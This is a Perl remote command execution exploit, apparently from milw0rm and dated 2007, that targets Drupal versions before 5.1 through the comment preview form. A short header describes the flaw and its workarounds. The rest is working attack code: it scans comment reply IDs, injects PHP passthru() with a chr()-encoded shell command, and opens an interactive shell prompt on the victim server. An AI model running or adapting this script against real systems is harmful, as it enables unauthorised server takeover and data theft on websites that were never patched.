Drupal < 5.1 (post comments) Remote Command Execution Exploit v2

#!/usr/bin/perl # #&nbsp;$Id:&nbsp;milw0rm_drupalv5.pl,v&nbsp;0.2&nbsp;2007/02/15&nbsp;13:40:29&nbsp;str0ke&nbsp;Exp&nbsp;$ #&nbsp; &nbsp;_drupalv5.pl&nbsp;-&nbsp;Drupal&nbsp;<&nbsp;5.1&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;Exploit #&nbsp;Copyright&nbsp;(c)&nbsp;2007&nbsp;str0ke&nbsp;<str0ke[!]milw0rm.com> #&nbsp; #&nbsp;Description #&nbsp;----------- #&nbsp;Previews&nbsp;on&nbsp;comments&nbsp;were&nbsp;not&nbsp;passed&nbsp;through&nbsp;normal&nbsp;form&nbsp;validation&nbsp;routines, #&nbsp;enabling&nbsp;users&nbsp;with&nbsp;the&nbsp;\'post&nbsp;comments\'&nbsp;permission&nbsp;and&nbsp;access&nbsp;to&nbsp;more&nbsp;than&nbsp;one #&nbsp;input&nbsp;filter&nbsp;to&nbsp;execute&nbsp;arbitrary&nbsp;code.&nbsp;By&nbsp;default,&nbsp;anonymous&nbsp;and&nbsp;authenticated #&nbsp;users&nbsp;have&nbsp;access&nbsp;to&nbsp;only&nbsp;one&nbsp;input&nbsp;format. #&nbsp;Immediate&nbsp;workarounds&nbsp;include:&nbsp;disabling&nbsp;the&nbsp;comment&nbsp;module,&nbsp;revoking&nbsp;the&nbsp;\'post&nbsp; #&nbsp;comments\'&nbsp;permission&nbsp;for&nbsp;all&nbsp;users&nbsp;or&nbsp;limiting&nbsp;access&nbsp;to&nbsp;one&nbsp;input&nbsp;format. #&nbsp;Versions&nbsp;affected #&nbsp;----------------- #&nbsp;-&nbsp;Drupal&nbsp;5.x&nbsp;versions&nbsp;before&nbsp;Drupal&nbsp;5.1 # #&nbsp;[02/15/2007]&nbsp;The&nbsp;exploit&nbsp;has&nbsp;been&nbsp;fixed.&nbsp;/str0ke # use&nbsp;strict; use&nbsp;LWP::UserAgent; my&nbsp;$host&nbsp;&nbsp;=&nbsp;shift&nbsp;||&nbsp;&usage; my&nbsp;$dir&nbsp;&nbsp;&nbsp;=&nbsp;shift&nbsp;||&nbsp;\"/drupal\"; my&nbsp;$proxy&nbsp;=&nbsp;shift; my&nbsp;$command; my&nbsp;$conn&nbsp;=&nbsp;LWP::UserAgent->new(); $conn&nbsp;->&nbsp;proxy(\"http\",&nbsp;\"http://\".$proxy.\"/\")&nbsp;unless&nbsp;!$proxy; sub&nbsp;usage()&nbsp; { print&nbsp;\"[?]&nbsp;Drupal&nbsp;<&nbsp;5.1&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;Exploit \"; print&nbsp;\"[?]&nbsp;Copyright&nbsp;(c)&nbsp;2007&nbsp;str0ke&nbsp;<str0ke[!]milw0rm.com> \"; print&nbsp;\"[?]&nbsp;usage:&nbsp;perl&nbsp;$0&nbsp;[host]&nbsp;[directory]&nbsp;[proxy] \"; print&nbsp;\"&nbsp;&nbsp;&nbsp;&nbsp;[host]&nbsp;(ex.&nbsp;www.milw0rm.com) \"; print&nbsp;\"&nbsp;&nbsp;&nbsp;&nbsp;[directory]&nbsp;(ex.&nbsp;/drupal) \"; print&nbsp;\"&nbsp;&nbsp;&nbsp;&nbsp;[proxy]&nbsp;(ex.&nbsp;0.0.0.0:8080) \"; exit; } sub&nbsp;exploit()&nbsp; { my&nbsp;$i&nbsp;=&nbsp;$_[0]; my&nbsp;$command&nbsp;=&nbsp;$_[1]&nbsp;||&nbsp;\'ls&nbsp;-l\'; my&nbsp;$cmd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;\'echo&nbsp;start_er;\'.$command.\';\'.\'echo&nbsp;end_er\'; my&nbsp;$byte&nbsp;=&nbsp;join(\'.\',&nbsp;map&nbsp;{&nbsp;$_&nbsp;=&nbsp;\'chr(\'.$_.\')\'&nbsp;}&nbsp;unpack(\'C*\',&nbsp;$cmd)); my&nbsp;$req&nbsp;=&nbsp;HTTP::Request->new(POST&nbsp;=>&nbsp;\"http://\"&nbsp;.&nbsp;$host&nbsp;.&nbsp;$dir&nbsp;.&nbsp;\"/?q=comment/reply/\"&nbsp;.&nbsp;$i); $req&nbsp;->&nbsp;content_type(\'application/x-www-form-urlencoded\'); $req&nbsp;->&nbsp;content(\'subject=My&nbsp;daddy&nbsp;beats&nbsp;me&comment=<?passthru(\'.$byte.\');?>&format=2&form_id=comment_form&op=Preview&nbsp;comment\'); my&nbsp;$content&nbsp;=&nbsp;$conn->request($req); if&nbsp;($content->content&nbsp;=~&nbsp;m/start_er(.*?)end_er/ms)&nbsp;{ my&nbsp;$out&nbsp;=&nbsp;$1; if&nbsp;($out)&nbsp;{ print&nbsp;\"$out \"; }&nbsp;else&nbsp;{ print&nbsp;\"[-]&nbsp;Exploit&nbsp;Failed... \"; exit; } } } for&nbsp;my&nbsp;$i&nbsp;(&nbsp;1&nbsp;..&nbsp;400&nbsp;)&nbsp;{ my&nbsp;$output&nbsp;=&nbsp;$conn&nbsp;->&nbsp;get(\"http://\"&nbsp;.&nbsp;$host&nbsp;.&nbsp;$dir&nbsp;.&nbsp;\"/?q=comment/reply/\"&nbsp;.&nbsp;$i); if($output&nbsp;->&nbsp;is_success) { if($output&nbsp;->&nbsp;content&nbsp;=~&nbsp;/add&nbsp;new&nbsp;comment/) { print&nbsp;\"[+]&nbsp;found&nbsp;comment/reply:&nbsp;$i \"; &exploit($i); while() { print&nbsp;\"str0kin-drupal$&nbsp;\"; chomp($command&nbsp;=&nbsp;<STDIN>); exit&nbsp;unless&nbsp;$command; &exploit($i,&nbsp;$command); } exit; } } } print&nbsp;\"[-]&nbsp;Exploit&nbsp;Failed... \"; &nbsp;